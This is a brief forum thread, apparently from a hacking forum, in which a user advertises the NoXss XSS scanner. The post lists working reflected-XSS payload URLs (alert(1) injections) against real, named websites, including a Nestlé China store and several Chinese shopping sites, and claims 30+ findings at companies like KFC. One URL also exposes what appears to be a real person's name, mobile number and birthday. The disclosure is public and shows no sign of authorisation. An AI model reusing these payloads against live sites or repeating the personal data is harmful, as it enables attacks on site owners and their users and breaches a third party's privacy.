[longwenzhang]

Following is my findings recently using a scanner named "NoXss", Here: https://github.com/lwzSoviet/NoXss

Code

http://dgwestore.nestlechinese.com/weixin/asset/Show.aspx?openid=abcdef&id=xssjs";alert(1)//

https://m.iwcard.com/wap/Jd?accessToken=xssjs%27%3Balert(1);//

https://m.youyuwang.com/goods/668.html?days=xssjs%27%3Balert(1);//

https://36.vrm.cn/40?src=ta-ff-xmxx-01-FF_75_806&name=%E6%BD%98%E5%BB%B7%E5%BC%BA&mobile=18023786181&yinliuActivityId=806&sex=1&yinliuUserId=6756091&birthday=1974-07-07&yinliu_company_id=xssjs%27%3Balert(1);//

By using "NoXss", I have found 30+ xss vulnerablity this week, include some known companies like NESTLE, KFC, some wifi web pages,some shops online...
This tool is very fast and quite good. Try and Star it!!  🤝

https://github.com/lwzSoviet/NoXss

[Shisho]

I really like the fact that it can be used with BURP.

I see commits by a user with your same Hack Forums username so if you wrote it great work!